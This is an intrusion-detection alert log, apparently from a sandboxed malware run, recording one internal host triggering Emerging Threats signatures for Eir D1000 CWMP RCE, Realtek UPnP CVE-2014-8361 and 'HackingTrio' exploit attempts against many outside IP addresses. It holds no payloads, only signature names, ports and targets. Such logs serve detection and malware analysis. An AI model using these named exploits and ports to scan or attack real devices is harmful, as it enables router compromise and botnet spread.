
Timestamp:	04/15/24-08:52:30.833443
SID:	2023548
Source Port:	40256
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 200.127.30.18

Timestamp:	04/15/24-08:53:46.561144
SID:	2023548
Source Port:	56748
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 89.161.183.219

Timestamp:	04/15/24-08:52:47.766092
SID:	2025576
Source Port:	35922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 154.95.231.35

Timestamp:	04/15/24-08:53:28.567622
SID:	2025576
Source Port:	42308
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 164.250.240.184

Timestamp:	04/15/24-08:53:28.933199
SID:	2831300
Source Port:	50288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 72.208.51.177

Timestamp:	04/15/24-08:53:31.065612
SID:	2023548
Source Port:	36442
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.85.144.217

Timestamp:	04/15/24-08:53:59.244373
SID:	2023548
Source Port:	39036
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 112.181.57.251

Timestamp:	04/15/24-08:52:16.155805
SID:	2023548
Source Port:	49026
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 106.14.126.133

Timestamp:	04/15/24-08:53:35.065311
SID:	2025576
Source Port:	56620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 173.33.105.12

Timestamp:	04/15/24-08:52:42.705329
SID:	2023548
Source Port:	43162
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.78.64.65

Timestamp:	04/15/24-08:52:44.975218
SID:	2023548
Source Port:	54546
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.188.199.118

Timestamp:	04/15/24-08:53:22.858761
SID:	2023548
Source Port:	46068
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 83.5.239.243

Timestamp:	04/15/24-08:53:41.234113
SID:	2025576
Source Port:	49508
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 2.142.104.24

Timestamp:	04/15/24-08:52:57.129181
SID:	2023548
Source Port:	59324
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 178.135.107.248

Timestamp:	04/15/24-08:53:57.239368
SID:	2027339
Source Port:	38754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.58.11.209

Timestamp:	04/15/24-08:52:47.812523
SID:	2025576
Source Port:	48694
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.196.224.130

Timestamp:	04/15/24-08:53:17.942756
SID:	2023548
Source Port:	59264
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 68.105.123.207

Timestamp:	04/15/24-08:53:21.604761
SID:	2023548
Source Port:	48424
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 79.47.127.86

Timestamp:	04/15/24-08:52:43.911341
SID:	2025576
Source Port:	46628
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 37.105.162.108

Timestamp:	04/15/24-08:53:01.028681
SID:	2023548
Source Port:	50602
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 186.7.123.8

Timestamp:	04/15/24-08:53:46.519009
SID:	2023548
Source Port:	52688
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 97.107.137.55

Timestamp:	04/15/24-08:52:39.843502
SID:	2025576
Source Port:	54896
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.52.71.152

Timestamp:	04/15/24-08:53:22.855381
SID:	2023548
Source Port:	44962
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 144.139.26.171

Timestamp:	04/15/24-08:52:35.381083
SID:	2023548
Source Port:	47918
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 190.33.243.128

Timestamp:	04/15/24-08:53:56.754153
SID:	2023548
Source Port:	60918
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 92.45.162.26

Timestamp:	04/15/24-08:52:41.300557
SID:	2023548
Source Port:	42876
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 75.165.150.113

Timestamp:	04/15/24-08:52:19.982334
SID:	2023548
Source Port:	56270
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 38.181.198.110

Timestamp:	04/15/24-08:52:53.047643
SID:	2027339
Source Port:	33180
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 174.87.177.239

Timestamp:	04/15/24-08:52:37.747332
SID:	2023548
Source Port:	37522
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 187.34.132.104

Timestamp:	04/15/24-08:52:44.385564
SID:	2023548
Source Port:	43160
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.176.90.210

Timestamp:	04/15/24-08:53:26.254161
SID:	2023548
Source Port:	51788
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 44.214.104.226

Timestamp:	04/15/24-08:53:41.665703
SID:	2025576
Source Port:	43262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 154.206.146.59

Timestamp:	04/15/24-08:53:25.119425
SID:	2023548
Source Port:	47964
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 34.110.241.133

Timestamp:	04/15/24-08:52:31.120687
SID:	2027339
Source Port:	46872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.163.52.251

Timestamp:	04/15/24-08:53:58.654495
SID:	2023548
Source Port:	58824
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 54.207.238.45

Timestamp:	04/15/24-08:52:48.081854
SID:	2025576
Source Port:	49020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.227.23.35

Timestamp:	04/15/24-08:53:37.499236
SID:	2023548
Source Port:	50010
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.64.16.28

Timestamp:	04/15/24-08:53:49.187770
SID:	2023548
Source Port:	33190
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 69.80.41.46

Timestamp:	04/15/24-08:53:23.122347
SID:	2023548
Source Port:	35056
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.73.121.175

Timestamp:	04/15/24-08:52:42.102961
SID:	2023548
Source Port:	54334
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.136.133.160

Timestamp:	04/15/24-08:53:16.823302
SID:	2027339
Source Port:	56692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.223.123.101

Timestamp:	04/15/24-08:52:35.997250
SID:	2023548
Source Port:	48222
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 93.176.172.234

Timestamp:	04/15/24-08:53:53.144655
SID:	2023548
Source Port:	59592
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 171.7.96.48

Timestamp:	04/15/24-08:53:28.921919
SID:	2025576
Source Port:	55966
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 77.59.157.72

Timestamp:	04/15/24-08:53:39.214355
SID:	2023548
Source Port:	49956
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.6.156.139

Timestamp:	04/15/24-08:52:55.154836
SID:	2023548
Source Port:	54368
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 183.97.77.152

Timestamp:	04/15/24-08:53:31.782203
SID:	2023548
Source Port:	44220
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.255.15.7

Timestamp:	04/15/24-08:52:29.204654
SID:	2023548
Source Port:	40304
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.63.64.113

Timestamp:	04/15/24-08:53:10.722790
SID:	2023548
Source Port:	57816
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 138.136.133.160

Timestamp:	04/15/24-08:53:16.823302
SID:	2831300
Source Port:	56692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 20.50.218.26

Timestamp:	04/15/24-08:52:33.141494
SID:	2025576
Source Port:	48188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 51.211.83.159

Timestamp:	04/15/24-08:52:47.200458
SID:	2023548
Source Port:	32858
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.205.220.251

Timestamp:	04/15/24-08:53:48.827051
SID:	2023548
Source Port:	45508
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.238.181.123

Timestamp:	04/15/24-08:53:58.080627
SID:	2023548
Source Port:	45132
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 71.218.231.169

Timestamp:	04/15/24-08:52:45.915404
SID:	2023548
Source Port:	41350
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 109.145.136.110

Timestamp:	04/15/24-08:52:49.786690
SID:	2023548
Source Port:	59170
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.11.175.63

Timestamp:	04/15/24-08:52:55.099063
SID:	2023548
Source Port:	42686
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 49.207.178.58

Timestamp:	04/15/24-08:53:49.566815
SID:	2023548
Source Port:	43790
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.102.220.137

Timestamp:	04/15/24-08:52:56.006412
SID:	2027339
Source Port:	54272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 108.159.219.217

Timestamp:	04/15/24-08:53:51.613221
SID:	2025576
Source Port:	40958
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.238.240.146

Timestamp:	04/15/24-08:52:44.530046
SID:	2023548
Source Port:	46464
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.19.45.199

Timestamp:	04/15/24-08:52:37.056155
SID:	2023548
Source Port:	59248
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 69.146.21.164

Timestamp:	04/15/24-08:53:42.304520
SID:	2023548
Source Port:	58092
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.241.164

Timestamp:	04/15/24-08:53:40.479818
SID:	2023548
Source Port:	33756
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 188.29.240.227

Timestamp:	04/15/24-08:53:31.586510
SID:	2023548
Source Port:	55488
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 222.116.185.253

Timestamp:	04/15/24-08:53:53.059737
SID:	2023548
Source Port:	36494
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 178.170.248.54

Timestamp:	04/15/24-08:53:36.633085
SID:	2025576
Source Port:	46796
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.61.178.123

Timestamp:	04/15/24-08:53:43.132165
SID:	2023548
Source Port:	35890
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.23.216.29

Timestamp:	04/15/24-08:52:35.906618
SID:	2023548
Source Port:	46458
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.234.28.251

Timestamp:	04/15/24-08:52:42.982995
SID:	2023548
Source Port:	53354
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.128.88.112

Timestamp:	04/15/24-08:53:07.641030
SID:	2025576
Source Port:	45476
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 151.251.68.81

Timestamp:	04/15/24-08:52:28.452024
SID:	2023548
Source Port:	60516
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 172.76.84.173

Timestamp:	04/15/24-08:53:22.002740
SID:	2023548
Source Port:	53620
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 59.30.60.157

Timestamp:	04/15/24-08:52:58.027128
SID:	2023548
Source Port:	38362
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 190.166.33.208

Timestamp:	04/15/24-08:53:16.798942
SID:	2025576
Source Port:	39018
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 34.195.41.222

Timestamp:	04/15/24-08:53:26.911284
SID:	2025576
Source Port:	50486
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.248.156.166

Timestamp:	04/15/24-08:52:38.031628
SID:	2023548
Source Port:	38528
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.39.192.129

Timestamp:	04/15/24-08:52:43.872116
SID:	2027339
Source Port:	40804
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 191.33.118.176

Timestamp:	04/15/24-08:52:52.320464
SID:	2023548
Source Port:	44698
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 179.104.77.188

Timestamp:	04/15/24-08:53:47.945981
SID:	2023548
Source Port:	37304
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.208.35.1

Timestamp:	04/15/24-08:53:49.757295
SID:	2023548
Source Port:	57276
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 211.52.55.208

Timestamp:	04/15/24-08:52:45.600241
SID:	2023548
Source Port:	48302
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 112.84.130.47

Timestamp:	04/15/24-08:53:16.669590
SID:	2025576
Source Port:	56416
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 115.3.91.2

Timestamp:	04/15/24-08:53:21.852891
SID:	2023548
Source Port:	36144
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 128.140.64.103

Timestamp:	04/15/24-08:53:55.963142
SID:	2025576
Source Port:	46340
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 201.226.185.29

Timestamp:	04/15/24-08:52:30.067904
SID:	2023548
Source Port:	36578
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.239.134.57

Timestamp:	04/15/24-08:53:04.977464
SID:	2023548
Source Port:	34884
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 163.123.13.61

Timestamp:	04/15/24-08:52:37.179064
SID:	2023548
Source Port:	39192
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 185.244.240.14

Timestamp:	04/15/24-08:52:15.955416
SID:	2025576
Source Port:	51862
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 181.4.228.22

Timestamp:	04/15/24-08:52:51.314859
SID:	2023548
Source Port:	56642
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.76.199.217

Timestamp:	04/15/24-08:53:56.369188
SID:	2023548
Source Port:	35684
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.221.190.27

Timestamp:	04/15/24-08:53:55.988404
SID:	2025576
Source Port:	51742
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 118.63.39.155

Timestamp:	04/15/24-08:53:37.736353
SID:	2023548
Source Port:	58502
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.177.57.5

Timestamp:	04/15/24-08:53:05.786470
SID:	2023548
Source Port:	59710
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 99.239.94.111

Timestamp:	04/15/24-08:53:01.470466
SID:	2023548
Source Port:	50428
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 47.149.15.5

Timestamp:	04/15/24-08:53:08.315896
SID:	2023548
Source Port:	59678
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 86.161.230.198

Timestamp:	04/15/24-08:53:37.444399
SID:	2023548
Source Port:	32888
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 177.62.41.219

Timestamp:	04/15/24-08:52:46.218144
SID:	2023548
Source Port:	49916
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 221.147.219.44

Timestamp:	04/15/24-08:52:28.357053
SID:	2023548
Source Port:	53214
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 27.235.100.62

Timestamp:	04/15/24-08:53:25.865096
SID:	2023548
Source Port:	34432
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.199.207.140

Timestamp:	04/15/24-08:52:22.917960
SID:	2027339
Source Port:	40608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 14.87.222.8

Timestamp:	04/15/24-08:52:43.007354
SID:	2023548
Source Port:	37572
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 20.141.70.208

Timestamp:	04/15/24-08:52:15.790973
SID:	2025576
Source Port:	51528
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 45.223.123.101

Timestamp:	04/15/24-08:52:35.809341
SID:	2023548
Source Port:	48210
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 218.146.232.66

Timestamp:	04/15/24-08:52:27.039031
SID:	2023548
Source Port:	38894
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 34.110.241.133

Timestamp:	04/15/24-08:52:31.120687
SID:	2025132
Source Port:	46872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 121.166.94.196

Timestamp:	04/15/24-08:52:49.722762
SID:	2023548
Source Port:	41418
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT HackingTrio UA (Hello, World) - Source IP: 192.168.2.13 - Destination IP: 23.207.96.179

Timestamp:	04/15/24-08:53:34.565032
SID:	2025576
Source Port:	44420
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.13 - Destination IP: 175.241.110.45

Timestamp:	04/15/24-08:53:17.370633
SID:	2023548
Source Port:	56336
Destination Port:	7547
Protocol:	TCP
